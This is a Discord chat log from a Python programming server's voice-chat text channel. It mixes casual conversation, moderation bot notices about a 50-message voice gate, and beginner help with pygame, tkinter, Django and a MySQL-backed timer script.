#voice-chat-text-0

1 messages Β· Page 656 of 1

wild ravine
#

solved

#

i made floppy bird with pygame, and i only used images, and it looks like an exact replica
@latent moss any example?

latent moss
#

wdym?

wild ravine
#

exact replica

latent moss
#

oh u mean ss?

wild ravine
#

err

#

nvm

latent moss
wild ravine
#

oh

latent moss
#

those are just images

#

like its really easy to do that in pygame, get an image, wrap it in a rect, and do whatever you want with it

wild ravine
#

oh

#

nice

latent moss
#

@brisk current why not use images?

wild ravine
#

gtg

latent moss
#

ok

#

gn

wild ravine
#

have a nice day

somber heath
#

ANSI color codes.

latent moss
#

i saw a video on youtube of a guy who made a game on discord with emojis and a bot, like a puzzle kind of simple game

slender bison
#

Blackjack, formerly also Black Jack and Vingt-Un, is the American member of a global family of banking games known as Twenty-One, whose relatives include the British game of Pontoon and the European game, Vingt-et-Un. It is a comparing card game between one or more players an...

latent moss
#

ok now you guys are talking about a game ik

#

i made a tic tac toe game in tkinter

slender bison
#
0|1|2
3|4|5
6|7|8
latent moss
#

:0

glacial plume
#

how about making a hangman game?

slender bison
#
from random import randint
user_guess = " "
print("Enter no input to exit")
while user_guess != "":
  user_guess = input("Guess the nubmer between 1 - 100: ")
  rng = randint(1,100)
  if user_guess == rng:
    print("You are correct!")
  else:
    print(f"Wrong!, the answer was {rng}")

#

this level of effort is what he's shooting for

somber heath
#

Hard mode: random.uniform

slender bison
#

impossible difficulty

glacial plume
#

guess a number and apply binary search on the possible range

#

Or making a sorting algorithms visualizer

bronze sage
#

!voiceverify

#

-_-

candid venture
#

@bronze sage

  1. Wrong channel
  2. check pinned *
#
  1. you are in afk channel
latent moss
#

in the voice verify channel

bronze sage
#

ty

latent moss
#

fuk i got hungry

candid venture
latent moss
#

wth mickey mouse?

candid venture
#

@slender bison

latent moss
#

:0

quasi condor
amber raptor
#

He died

quasi condor
slender bison
quasi condor
slender bison
#

add me I'm "smurf prime"

quasi condor
#

I added you

rugged root
#

!resources @whole bear Hi! If you're looking to get started with Python, check out our list of resources. I suggest looking into Automate the Boring Stuff and A Byte of Python

wise cargoBOT
#
Resources

The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.

whole bear
#

i saw a video on youtube of a guy who made a game on discord with emojis and a bot, like a puzzle kind of simple game
@latent moss polymars?

latent moss
#

i dont remember

whole bear
latent moss
#

uh yeah that

whole bear
#

lol yeah

wise cargoBOT
#

Hey @candid venture!

It looks like you tried to attach file type(s) that we do not allow (.docx). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .afdesign, .m4a, .csv.

Feel free to ask in #community-meta if you think this is a mistake.

mortal fox
#

just read the contract kids!

wise cargoBOT
#

Hey @candid venture!

It looks like you tried to attach file type(s) that we do not allow (.rar). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg, .webm, .webp, .flac, .afdesign, .m4a, .csv.

Feel free to ask in #community-meta if you think this is a mistake.

candid venture
mortal fox
#

damn!

#

wait youre 17?

#

whys that unfortunate though

#

what if youu ruin the expectation thoughhhhh πŸ™ƒ

#

my dog puked on me while in a drive and i had to walk the pathway without pants πŸ™ƒ

#

@candid venture doesnt matter you already take in a lot of shit in the name of pollution

#

ik

#

it says i have to wait until tomorrow

#

yea...

upper dove
#

im just here to listen the cnv

#

conv*

mortal fox
#

hes tryna tell somethin ig

#

hoe tf do you even pronounce that shit

#

refuges

#

@candid venture how did you reach for the job??

candid venture
#

tags how did you reach for the job??
@mortal fox
by my crush's friend

mortal fox
#

nice.

#

superior

#

imma leave too have a gud day yall

candid venture
#

@mortal fox
cya

#
from <module> import <class> as <wanted name>
spring kraken
quasi condor
#

import forms
your_user_instance = forms.user()

candid venture
glacial plume
#

how good are corey schafer's videos on django??

#

ok cool thanks

#

I want to be a Django Sensei

#

Wow man this community is awesome

quasi condor
#

The DJI Phantom 4 Pro is widely considered one of the best – if not the best – drones on the market in every category. It’s not just that it can climb to 6000 meters in altitude

ancient grove
#

kl

amber raptor
#

did voice server die?

olive hedge
#

I think maybe

#

Im getting rekt rn

amber raptor
#

@quasi condor Discord Voice Server died horrible death, disconnect and come back

quasi condor
olive hedge
#

well, voice getting rekt and I need to get on with me day, bye m8s

whole bear
#

voice server is being killed by someone

#

or voice call

rugged root
#

Or just standard Discord API hiccups

uneven urchin
#

o/

#

decent

#

just had lunch

#

breakfast

#

<

#

eggs, toast, banana

#

it was

#

made up for my poor sleep last night, thankfully.

#

lol

#

I'm doing that too

#

oh yikes

#

oh, thats good

#

lol

#

Working on an xml-based "cards" feature for my bot atm

#

and actual work

#

shh

#

lol

#

fk covid

#

Basically Cards, like, playing card style in an embed

#

less "playing card" with suits but more like MTG/Yugioh/tarot

#

People, places, things, etc

#

yeah

#

I hope so, lol

#

Well, I don't want to hardcode them

#

and I don't want to write json manually

#

I do a lot of HTML/web work, so it's familiar

#

oooo noo

#

Yeah, my big screen has a similar issue

#

On first startup of the day it's got lots of blinking lines

#

it eventually does and cleans up, so its still functional, but I really don't want to send it in for warranty

#

a yearish?

#

I have a "spare" but its not the same

#

lol

#

I am fucking jealous

#

agreeeeee

#

fuuuuuuuck priiiintterers

#

lm a o

#

lol

rugged root
uneven urchin
#

mm lazy

#

I think so

#

versimillitude?

#

oh wow

#

same

#

?

#

lol

#

I think thats enough demo data

#

time to make the command..

#

git clone

#

πŸ€”

rugged root
#

!paste

wise cargoBOT
#

Pasting large amounts of code

If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/

After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.

uneven urchin
#
<?xml version="1.0" encoding="UTF-8"?>
<cards>
  <card>
    <name>Worldbreak</name>
    <description>
      Imbue your current tool with sharp red-dust energy, slamming it into the ground and shattering it and the world. Black triangles radiate out from the large cracks, and you awake from whatever reality you were previously in.
    </description>
    <rules>
      Has no effect within the core reality.
    </rules>
    <flavor-text>
      Shatter the illusion of the ground beneath you, to break down the world around you. It's not real, and you're going to make sure it knows that.
    </flavor-text>
    <tags>
      <tag>Reality</tag>
      <tag>Dreamspell</tag>
    </tags>
    <rating>
      Special
    </rating>
    <stars>
      4
    </stars>
  </card>
  <card>
    <name>Bleakened Aeons</name>
    <description>
      Draw upon the limits of frost from beyond the edges of time, where the universe bends and submits to the endless will of silence. This leaves behind a twisted, warped, and frozen mockery of whatever it touches.
    </description>
    <rules>
      Unblockable
    </rules>
    <flavor-text>
      From the eternity beyond the death of stars, in the glimpses of infinity within which even heat stalls, where cold grips entirety and light begins to kneel, where time itself breaks and falls to submit to the true, eternal embrace of absolute cold. A glimpse from eternal, endless, Bleakened Aeons!
    </flavor-text>
    <tags>
      <tag>Cryomancy</tag>
      <tag>Voidmagic</tag>
      <tags>Edgemagic</tags>
    </tags>
    <rating>
      Special
    </rating>
    <stars>
      9
    </stars>
  </card>
</cards>
uneven urchin
#

o/

#

hello

mossy granite
#

bruh

#

gotta send 50 messages

#

that is cringe

#

ive owned active servers where i have sent fewer than 50 messages

#

CRINGE!

uneven urchin
#

alright

whole bear
#

Why can't I unmute myself?

past elk
#

@whole bear go to #voice-verify

whole bear
#

apparently i have to send 50 mressages

wise cargoBOT
#

:x: According to my records, this user already has a mute infraction. See infraction #15175.

#

:incoming_envelope: :ok_hand: applied mute to @whole bear until 2020-10-23 23:39 (9 minutes and 59 seconds) (reason: duplicates rule: sent 4 duplicated messages in 10s).

stark otter
#

hahahhaha

#

damn

green bone
#

!unmute @whole bear

wise cargoBOT
#

:incoming_envelope: :ok_hand: pardoned infraction mute for @whole bear.

green bone
#

That will not work.

whole bear
#

thank you

green bone
#

!tvban @whole bear 2w

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied voice ban to @whole bear until 2020-11-06 23:31 (13 days and 23 hours).

whole bear
#

I was banned for being a troll but not sure why? Someone said that I shouldn't talk about hacking, because he said talking about hacking is illegal. I question the person along the lines of where the law in quotes "Hacking is illegal" or talking about hacking is illegal?

#

I ask him what law code does it say that? I just say "1st Amendent"

#

why did you voice ban me

green bone
#

I figured that you are circumventing the voice gate by spamming messages

honest pier
#

yeah i think i remember that convo @whole bear

whole bear
#

no i had an error in an auto typer and didnt mean to do it here

green bone
#

Auto typer?

stark otter
#

sus

whole bear
#

yeah im coding one and meant to spam my friend to test

green bone
#

right

honest pier
#

yeah... don't do that

green bone
#

!rule 5

wise cargoBOT
#

5. Do not provide or request help on projects that may break laws, breach terms of services, be considered malicious or inappropriate. Do not help with ongoing exams. Do not provide or request solutions for graded assignments, although general guidance is okay.

whole bear
#

and i did an oop

#

nah im being fr

vestal mason
#

Hey guys

stark otter
#

hey

eternal bough
#

@past elk would be happy to chat here, I haven't met my 50 messages to unmute unfortunately if you wanted to share your projects.

#

yeah, what kind of game is it?

#

sounds educational

halcyon basin
#

i

eternal bough
#

I used to be a 3d modeler, and I didn't get too technical, but the modeling program solidworks has a electrical modeling component

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @halcyon basin until 2020-10-24 00:30 (9 minutes and 58 seconds) (reason: burst rule: sent 8 messages in 10s).

eternal bough
#

and for children there is tinkercad, which is a 3d modeling browser based program for kids and has drag and drop electrical components like arduino for learning

#

for solidworks it's for like electrical engineers to diagram out stuff

scarlet plume
#

!tvban 576902938015039499 2w Do not spam to become voice verified.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied voice ban to @halcyon basin until 2020-11-07 00:21 (13 days and 23 hours).

eternal bough
#

tinkercad is by Autodesk - AutoCAD, which is a big company that makes architectural tools

#

I see cool

#

I'm currently starting to study for the aws solutions architect certification

#

and brushing up on sql

#

I'm preparing to enter an internship as a data engineer in 2 -3 weeks so not great at sql yet

#

yeah I have used alittle s3, elastic beanstalk, route53

#

it's only really used in a complicated way dealing with big company data

#

sql is the language for working with sql databases

#

mongo is a nosql database and uses more python scripting

#

there's sql and nosql they are opposites of each other as concepts

#

with sql there's sqlite for small scale local work

#

postgres, mysql, microsoft products, etc

#

and then for nosql there's mongodb, cassandra, a few others, I'm not sure

#

nosql is for databases designed where no specific querying is needed, all the data that is needed should be in 1 table

#

wheras sql relies on relational databases, smaller tables that get joined

#

yeah but in terms of projects, I have more of a data science background

#

so lately did a technical assessment where I was taking some data wrangling scripts from jupyter notebook

#

and putting that into a script using argsparse

#

to just indicate input files and ouput files to automate cleaning and return a .csv that has the summary dataset

#

for personal projects, I recently built a linkedin scraper for jobs

#

then used a nlp library to extract verbs and nouns to get keywords

#

I followed a tutorial on selenium and parsel - web scraping

#

not for commercial use

#

just to experiment with the idea of job search automation

#

well, linkedin has terms of service for their api

#

to request an api key that does more extraction than just marketing purposes, one has to get reviewed

#

it's super complicated since some lawsuits a few years back

#

since there were companies whose sole business relies on linkedin

#

so they've been pretty strict

#

by commerical use I mean money-making

#

but I also don't market or publicize the usage as not to exploit

#

yeah so I tried using gpt-2 which is a language-generating library

#

to try to create cover letters

#

they were too generic so I scrapped that

#

I think have better curated content

#

I don't know, it seemed like a lot of work

#

like strategizing on language inputs

#

you know like trash in trash out

#

yeah I should look into the developer verication

#

do you know how to do that?

halcyon basin
#

u typing alot

#

jeez

eternal bough
#

lol

#

it says in the voice chat that developer verication is also needed?

halcyon basin
#

ok

eternal bough
#
  • voice verification
#

Have verified yourself to gain the Developers role over 3 days ago

#

do you know what this is supposed to mean?

past elk
#

@green bone what does this mean => Have verified yourself to gain the Developers role over 3 days ago

green bone
#

Not sure why you pinged me specifically πŸ€”

past elk
#

well its fixed now so its all good

eternal bough
#

sorry about that thank you for your help fix error thank you

green bone
#

no worries πŸ™‚

daring orbit
tropic ice
#

ty

brisk current
#

exec()

#

exec("print(1)")

#

x = 1

#

exec("x = 1"

#
    print(x)"```
past elk
#
exec("x=1\nprint(x)")```
brisk current
#

!run python code

calm sage
wise cargoBOT
#

6. No spamming or unapproved advertising, including requests for paid work. Open-source projects can be shared with others in #python-general and code reviews can be asked for in a help channel.

calm sage
lime portal
#

@calm sage i just joined

#

so i cant verify

calm sage
#

ah ok no worries

stuck furnace
#

There are different ways you can help out.

#

Helper πŸ˜„

#

My motivation is that I can vividly remember how lost I was when I first started programming.

#

In the past, a lot of people would have started with assembly.

#

And worked upwards.

#

In python, everything is done with references, so the actual size of data doesn't matter very much.

#

But C++ tries to be efficient and avoid indirection, so it needs to know the actual size (in bits) of the data stored in an array/vector.

#

Like, if you store ten 64-bit integers in a C++ vector, it will be stored as 80 consecutive bytes in memory.

#

But a python list stores references to objects.

#

Python lists look like this:

#

C arrays look like this:

calm sage
stuck furnace
#

I can't wait for structural pattern matching πŸ˜„

#

It will make a lot of python code way cleaner.

calm sage
#

hahaha

#

PEP634

hidden cove
#

thanks

stuck furnace
#

I can vouch for pyenv. Been using it on my macbook for a month and it's pretty great.

calm sage
#

(Incidentally, tox will use pyenv installed interpreters to run your tests, which is handy if you write code that targets multiple python versions πŸ˜‰ )

stuck furnace
#

Oh, didn't know that, thanks

calm sage
#

tox is also amazing

hidden cove
stuck furnace
#

Snazzy!

brisk current
#

3

#

X + 0.1

#

0

hidden cove
#

transform: rotate3d(-1,1, 0,-180deg);

#

transition: all var(--img-flip-trans-tile) ease;

stuck furnace
#

Yeah, there is a limit to filtering πŸ˜„

#

Garbage in; garbage out.

calm sage
#
stuck furnace
#

That was a few years ago I think

calm sage
stuck furnace
#

I think it's built into firefox now.

#

If you use their password manager.

pure path
#

Oh that website

calm sage
stuck furnace
#

So you want to run a bare-metal C++ program in virtualbox?

#

Oh right.

#

I remember when we did operating systems at university we ran the system in this emulator called QEMU

#

Can't remember the details.

#

I think virtualbox is a hypervisor, and QEMU is an emulator.

#

Yeah, I'm not 100% πŸ˜„

#

But Opal's explanation sounds right

#

Erm, I know a good textbook for learning assembly

#

Computer Organisation and Design

#

Patterson and Hennessy

#

RISC-V edition

#

Alright, gtg

#

See ya

somber heath
#

For each point, sum(sin(distance to signal) for signal in signal points)

#

-goes one colour, + goes the other

whole bear
#

hey guys I got an error on selenium

#

I can't figure out

whole bear
#

to scrape the website

#

times higher education

#

2021 universities ranking

#

Are you guys into Machine Learning?

#

okay

#

what are you guys using python for?

#

why?

#

oh didn't see that

#

does that website really mention that?

past elk
somber heath
#

@past elk I do.

worthy grotto
#

hay

somber heath
#

Phone is more convenient given my setup.

worthy grotto
#

i cant speak

somber heath
#

Desktop is upstairs. Computers in my room don't do Discord. Hence phone.

worthy grotto
#

i didnt reach the requirement

#

not yet

#

sad

#

can i check how much i did sent?

#

message

#

ok

#

i am still on my way to have a "voice"

#

yeah i knew some of them

#

50 is too much

#

well i m not that obsess with discord tho

#

But it is good rule tho

#

cus

#

cool

#

U can talk me mate haha

#

on words

#

lol

#

I m still working on it

#

trying to get over 50

#

u can c haha

past elk
#

clap

worthy grotto
#

clap

past elk
#

πŸ‘

worthy grotto
#

πŸ‘€

#

i want to talk

#

...

#

I hate type

#

so stupid

#

how are u?

#

old

somber heath
#

Well, the more you type, the less you'll have to.

worthy grotto
#

true

#

Programming i sfun tho

#

college is boring

#

why am i here , haiya

#

vote?

#

ic

#

how reckon trump then?

#

*u

#

For real, biden?

#

I reckon trump was winning

#

cuz trump is debating good

#

so Biden is getting more vote from big cap cities?

#

but trump isnt

#

thats what u say?

#

Yeah china is doing bad is decracy

#

CONCLUSION: both biden and trump sucks

#

haha

wind star
#

Biden is actually winning a lot of votes from republicans

somber heath
#

Mm.

past elk
#

(β•¬β–”ηšΏβ–”)β•―(β•¬β–”ηšΏβ–”)β•―(β•¬β–”ηšΏβ–”)β•―

restive geyser
#

crunchy rice is so good ❀️

restive geyser
#

omg i love peking duck.

#

bro, duck buns. hnnnggg

mortal fox
#

burn the box! burn the fucking boxxxxxxxxxxxxxxx lol

jovial meadow
jovial meadow
past elk
whole bear
#

wtmoo why so many spiders

past elk
somber heath
#

Because I'm Australian, and when you're Australian in conversation with non-Australians, conversation tends to drift toward that subject.

restive geyser
#

lol

somber heath
#

@whole bear

whole bear
#

LOL

past elk
signal raven
#

does anyone know why I cant speak in vc?

somber heath
#

Check out the voice channels.

#

There are instructions.

signal raven
#

how do I check how many message I have sent? It is saying that I have sent less than 50 messages

somber heath
#

You can use Discord search, but it only counts from a certain date.

#

If you have text conversations in the rooms here, you'll hit the threshold soon enough.

past elk
signal raven
#

yeah, true

worthy grotto
signal raven
#

I have 8 pages of messages :/

wraith ridge
#

wow muted after spending so much time on here

#

@signal raven did you need help with something?

somber heath
#

Voice gating system.

signal raven
#

I do, but I cant speak lol

somber heath
#

Check the voice channels, @wraith ridge

signal raven
#

It is pretty sad

wraith ridge
#

yea, don't got 50 messages

signal raven
#

you also dont have 50 messages or are you saying I dont

wraith ridge
#

neither of us lol, we both muted

signal raven
#

we can just talk with eachother until we hit the 50

wraith ridge
#

omg that show was great

#

lol yea

signal raven
#

what show?

#

I dont understand

wraith ridge
#

beast wars

#

A gorilla transformed into shit

signal raven
#

Do I have over 50 messages? it says 195

calm sage
#

You need to have 50 messages since the system was introduced a few weeks ago

signal raven
#

bruuuhhh that is sad; I have not been on this discord sever in a while

wraith ridge
#

Kids Next Door @jovial meadow

calm sage
#

Sorry, you should hit 50 pretty quickly tho

signal raven
#

yeah

#

do you like xmen rtx

#

there are no good shows anymore

#

everything is on netflix

wraith ridge
#

The movie where they showed number 0

signal raven
#

what about you Madcowken

calm sage
#

If you have amazon prime the boys is quite good πŸ‘Œ

wraith ridge
#

oh no idea lol

signal raven
#

what is the boys about?

calm sage
#

superheros

#

subverts the trope tho

signal raven
#

like superman?

#

or like xmen

calm sage
#

like in general

signal raven
#

is it marvel or dc?

calm sage
#

honestly the best show i've seen this season hands-down

signal raven
#

or omething else

calm sage
#

something else

#

it's anti-superheros kinda

signal raven
#

alright, cool

#

rtx what coding langs do you know

#

@jovial meadow

#

😦

#

I like burgers

#

bacon cheese

#

yeah

#

milk is good

#

do you make your pho spicy?

#

isnt pho Vietnamese?

restive geyser
#

yes pho is viet

signal raven
#

after I finish typing 50 things, any of yall down to help me with some code?

jovial meadow
signal raven
#

I dont really code in python that often, (thats why I am not usually on this server), but my problem is easy enough that I dont think the lang matters

verbal oasis
#

Why I don't have permission to speak to any of the Code/Help voice channels?

signal raven
#

I am using a switch statement when I want to not and use some for loops instead

#

I have not

#

how do you make it

#

is there red meat in there?

#

or is it all fish

#

french food?

jovial meadow
whole bear
#

hello

jovial meadow
#

guess i have connection issues

restive geyser
#

same. i think it's discord.

somber heath
#

@woeful rock

woeful rock
#

oh

#

i must more text

craggy zephyr
#

yeah

pliant atlas
#

tails

#

The Amnesic Incognito Live System

#

<MyFirstWidget>:
    # both these variables can be the same name and this doesn't lead to
    # an issue with uniqueness as the id is only accessible in kv.
    txt_inpt: txt_inpt
    Button:
        id: f_but
    TextInput:
        id: txt_inpt
        text: f_but.state
        on_text: root.check_status(f_but)
In myapp.py:

...
class MyFirstWidget(BoxLayout):

    txt_inpt = ObjectProperty(None)

    def check_status(self, btn):
        print('button state is: {state}'.format(state=btn.state))
        print('text input text is: {txt}'.format(txt=self.txt_inpt))
#

Fatal error in launcher: Unable to create process using '"c:\program files\python37\python.exe" "C:\Users\KUSHAL\AppData\Roaming\Python\Python37\Scripts\pip.exe" ': The system cannot find the file specified.

pliant atlas
#

@lean rapids are u here?

lean rapids
#

yes

hidden flower
#

hello πŸ‘‹

warm herald
#

thanks for info πŸ™‚

lean rapids
#

what do you mean by are you a Shah

#

yes

#

my surname

warm herald
#

I havent sent 50 messages

abstract ravine
#

50 msgs to be verified

#

ye a fewtimes

warm herald
#

If u have a nvidia gpu u can use "nvidia rtx voice"

abstract ravine
#

are those red switches

lean rapids
#

@pliant atlas are you indian?

pliant atlas
#

yes

warm herald
#

If u have a nvidia gpu u can use "nvidia rtx voice"

#

@pliant atlas

#

u dont need a rtx

abstract ravine
#

but still u can use rtx voice

#

make some changes to it and then run rtx voice

warm herald
#

hyperwolf where are u from

abstract ravine
#

nais

#

hyperwolf where are u from
@warm herald antartica

warm herald
abstract ravine
#

sry jk im from india

warm herald
#

most of programmers i guess from there πŸ˜„

abstract ravine
#

nvdia jetson is far better than rasp pi

#

its just they cost a few extra bucks

lean rapids
#

see you later guys

abstract ravine
#

cya have a good day

warm herald
#

cu

abstract ravine
#

do i just keep spamming the chat

#

until i get 50 done

warm herald
#

πŸ˜„

#

idk

lean rapids
#

@abstract ravine you will get warning or banned from moderators

abstract ravine
#

so how do i get the access soon

lean rapids
#

@abstract ravine no not at all

somber heath
#

Participation in discussion can make the time fly.

abstract ravine
#

kk lets all talk for a while

somber heath
#

You'll reach 50 before you know it.

abstract ravine
#

wt are primary languages that u code on

#

wt do u say abt kotlin

#

ye ye

#

kotlin is better than java during the runtimes and security

#

also for the code chunk sizes

#

google vs java will go forever

#

the lawsuit is still goin on since a long time

vestal mason
#

groovy is also used to enhance Java runtimes

warm herald
#

im here

#

could you speak slowly a bit ? πŸ™‚

#

thanks

#

πŸ˜„ np i will let u rememeber

#

let me check if got 50 msgs

#

ye

#

i havent yet

#

do i know what πŸ˜„

#

Actually im still searching

#

blender ?

#

are u going to do games ?

whole bear
#

any of u know what this is ? __x86.get_pc_thunk.ax()

worthy grotto
feral crown
#

Why can’t I talk?

#

In da vc

#

Is it because it’s tooo β€œearly”

buoyant topaz
#

facing same problem ........

hidden flower
#

Follow the instructions in #voice-verification in order to speak in voice channels
@feral crown

#

huh, you have like 428 messages

#

Don't forget to type !voiceverify in the channel

feral crown
#

Huh? I talked in the voice before... new security? πŸ‘Œ

#

Cool

#

Nice bot @wise cargo

#

I code my own for my server too

#

(Private server)

buoyant topaz
#

if someone has freshly joined in the server then he has to have more than 50 msg in the server?

rugged root
#

Correct. Although we found that bar to be quite low. A 10 to 20 minute conversation with folks, helping out in the help channels, asking questions, etc.

#

You end up hitting that cap pretty quickly

buoyant topaz
#

You end up hitting that cap pretty quickly
@rugged root means??

rugged root
#

As in you end up with 50 or more messages before you know it

buoyant topaz
#

kk cool

warped haven
whole bear
thick barn
#

damn.. people are discussing about why we need a programmer πŸ˜›

#

i literally wanna say so much stuff right now

#

Expensive studies!!!!

#

PROGRAMMING IS FREE BRO

lean rapids
#

nothing is free bro

thick barn
#

i did learn so many stuff for free... i did made lot of projects for free

#

it makes me cry guys

lean rapids
#

anyone know django?

zenith radish
pure path
#

it looks like mango?

zenith radish
#

Bruh I got that egg yolk mango swag

pure path
#

lol

somber heath
#

The concept would benefit from some development.

pure path
#

@zenith radish what swtiches are u planning on using and what keykaps?

#

Novel?

lean rapids
pure path
#

@somber heath your word choice proficient

#

i liked it

somber heath
#

I like words.

pure path
#

I hate tomatoes

#

I like words.
@somber heath I like using big words as well

#

but idk that many

pliant atlas
#

@coarse halo

stoic ore
#

Greetings

whole bear
#

Hello

lean rapids
#

πŸ‘‹

whole bear
#

Oof

thick barn
#

i am not verified bro

#

it will take me 3days

#

i checked it but it will take me 3days to verify 😦

#

i only have to listen for now

still quartz
#

i'm also not veriifed, boring

thick barn
#

i wanna share so many points

coarse halo
#

bro join your server vc i am coming there @thick barn

still quartz
#

@lean rapids
Hey, How are you?
I saw that you wanna make people contribute to the Django-CryptographicFields project.
I like the concept of this project and I like to contribute.

I'm not very good at django, but with my little knowledge i can help. Also you can guide me as well.
I like to hear some thoughts about your project, how you wanna make it better, what your next gole, etc.

Write me freely, you can send DM.
Have a good day.

sweet wraith
#

@somber heath I hav ebeen muted

wise cargoBOT
#

Hey @sweet wraith!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

β€’ If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

β€’ If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

#

Hey @sweet wraith!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

β€’ If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

β€’ If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

sweet wraith
#

!code-blocks

wise cargoBOT
#

Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.

To do this, use the following method:

```python
print('Hello world!')
```

Note:
β€’ These are backticks, not quotes. Backticks can usually be found on the tilde key.
β€’ You can also use py as the language instead of python
β€’ The language must be on the first line next to the backticks with no space between them

This will result in the following:

print('Hello world!')
#

Hey @sweet wraith!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

β€’ If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

β€’ If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

thick barn
#
print('Hello world!')
sweet wraith
#

class Tkinter(threading.Thread):
def init(self):
threading.Thread.init(self)
self.daemon = True
self.root = 0
self.entry = 0
self.label = 0
self.button = 0
self.timerValue = 0
self.stopButton = 0
self.start()

def run(self) -> None:
    self.root = tk.Tk()

    # tkinter code goes here
    self.root.geometry("+2+0")
    self.root.config(background="black")

    self.label = tk.Label(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
    self.entry = tk.Entry(self.root, bg="blue", fg="white", font=("Fixedsys", 28))
    self.stopTiden = tk.Button(self.root, bg = "black",fg = "grey", text = "Stop Spillet", command = self.stopTid)
    self.startTiden = tk.Button(self.root, bg = "black",fg="grey", text = "Start Spillet", command = self.startTid)
    
    self.startTiden.grid(row = 0, column = 1)
    self.stopTiden.grid(row = 0, column = 10)
    self.entry.grid(row = 1, column = 1)
    self.label.grid(row = 1, column = 10)

    self.root.bind("<KeyPress>",self.read,)
    self.root.mainloop()

def read(self, event):
    key = event.keysym
    try:
        if key == "Return":
            self.getA()
            self.visTid()
    except:
        self.fejlTidvalg()
        

def startTid(self):
    self.stopButton = 0

def getA(self):
    self.timerValue = float(self.entry.get().format("%.2f",1.23456))
    print(self.timerValue)
    return self.timerValue

def stopTid(self):
    self.stopButton = 1
    
def visTid(self):
    self.label = self.label.config(text="Det her er timeren: {}".format(self.timerValue))
    
def fejlTidvalg(self):
    self.label = self.label.config(text="FEJL -Vælg Venligst Et Tal")
#

My code was too big apparently.

#

But I get this error message

thick barn
#

hi

#

wssup man

#

so i joined this server today

sweet wraith
#

when I try to enter an input for the Enter-widget "Exception in Tkinter callback

Traceback (most recent call last):
  File "Tkinter2.py", line 57, in read
    self.visTid()
  File "Tkinter2.py", line 74, in visTid
    self.label = self.label.config(text="Det her er timeren: {}".format(self.timerValue))
AttributeError: 'NoneType' object has no attribute 'config'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Python38\lib\tkinter\__init__.py", line 1883, in __call__
    return self.func(*args)
  File "Tkinter2.py", line 59, in read
    self.fejlTidvalg()
  File "Tkinter2.py", line 77, in fejlTidvalg
    self.label = self.label.config(text="FEJL -Vælg Venligst Et Tal")
AttributeError: 'NoneType' object has no attribute 'config'```
thick barn
#

hopping to learn new things

sweet wraith
#

Alright, Rex

thick barn
#

so what are your fav languages?

sweet wraith
#

oh...

#

But why does it work first time around then?

thick barn
#

i think it will be self.Label

sweet wraith
#

But it says it is "NoneType"

#

yeah, it makes no sense

#

No

thick barn
#

self.label.configure(text='Wait')

sweet wraith
#
while (app.stopButton != 1):
    stopButton = app.stopButton
    timerValue = app.timerValue
    iTwo = timerValue
    doorButton = 0
    i = 0.00
    mycursor = mydb.cursor()
    app.stopButton = 0
    
    def countdown(i): 
    
        while i: 
            mins, secs = divmod(t, 60) 
            timer = '{:02d}:{:02d}'.format(mins, secs) 
            print(timer, end="\r") 
            time.sleep(1) 
            t -= 1
          

    # ServodΓΈren skal Γ₯bnes her i denne kode
    while (doorButton != 1):
        # Indtast Pinkoden
        f = int(input("Kodeord"))
        mycursor.execute("SELECT id,adresse,name FROM bois WHERE id=%s", (f,))

        myresult = mycursor.fetchall()

        row_count = mycursor.rowcount
        print(myresult)
        print("number of affected rows: {}".format(row_count))
        if row_count == 1:
            
            print(row_count)
            print(app.timerValue)
            while (i != app.timerValue) and (i <= app.timerValue) and (doorButton != 1) and (app.stopButton != 1): 
                    print('%.2f' % i)
                    i = i + 0.01
                    timeLeft = app.timerValue - i
                    iTwo = app.timerValue
                    print("THIS IS X", app.timerValue)
                    time.sleep(0.01)
            if(i != app.timerValue):
                score = i
                print(myresult)
                
                
        i = 0
        #Her skal du tilfΓΈje i til den ID's row, der lige har Γ₯bnet via sin pinkode. SΓ₯ er du stort set fΓ¦rdig! :D

There is also an "Tkinter = app" and a part, where I connect to my MySQL database, which I prefer not to show.

thick barn
#

self.label.configure(text='Wait')

sweet wraith
#

@thick barn What do you mean?

thick barn
#

i think it should be configure and not config

#

try it

sweet wraith
#

Same error message.

thick barn
#

hm

#

damn

#

that was sneaky

#

@somber heath so what are your fav languages?

somber heath
#

@sweet wraith Are you present?

thick barn
#

ok

#

damn i have to wait 3 days to talk in this server

#

@somber heath i can't type here?

whole bear
#

your suppressed

#

basically cant talk unless you have 50 msgs

somber heath
#

@sweet wraith Anyway, I'm guessing self.label.config doesn't return a Label object, instead returning None. So those two or however many methods you use that in might be able to drop the self.label= bits.

sweet wraith
#

